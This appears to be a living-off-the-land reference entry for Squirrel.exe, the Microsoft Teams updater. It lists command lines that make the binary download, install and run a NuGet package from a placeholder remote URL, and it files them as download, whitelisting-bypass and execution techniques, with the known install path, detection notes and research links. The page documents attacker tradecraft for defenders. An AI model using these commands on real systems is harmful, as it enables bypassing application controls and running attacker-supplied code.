01 / TRADECRAFT
5 examplesCommand reference
Download1
EXAMPLE 01T1218
The above binary will go to url and look for RELEASES file and download the nuget package.
COMMAND
squirrel.exe --download {REMOTEURL}AWL Bypass2
EXAMPLE 01T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package.
COMMAND
squirrel.exe --update {REMOTEURL}EXAMPLE 02T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package.
COMMAND
squirrel.exe --updateRollback={REMOTEURL}Execute2
EXAMPLE 01T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package.
COMMAND
squirrel.exe --update {REMOTEURL}EXAMPLE 02T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package.
COMMAND
squirrel.exe --updateRollback={REMOTEURL}02 / ON DISK
Known paths
C:\Users\<username>\AppData\Local\Microsoft\Teams\current\Squirrel.exe03 / DEFENSIVE INTELLIGENCE
1 resourcesDetection & indicators
REFERENCE IMPLEMENTATIONS
Code samples
FURTHER READING
Research & resources
- READwatchwww.youtube.com
- READResearch by @reegun21twitter.com
- READsquirrel as a lolbinwww.hexacorn.com
- READnuget squirrel uncontrolled endpoints leads to arbitrary code execution 80c9df51cf12medium.com
- READupdate nuget squirrel uncontrolled endpoints leads to arbitrary code execution b55295144b56medium.com
COMMUNITY RESEARCH
Acknowledgements
Reegun J (OCBC Bank)@reegun21
Adam@Hexacorn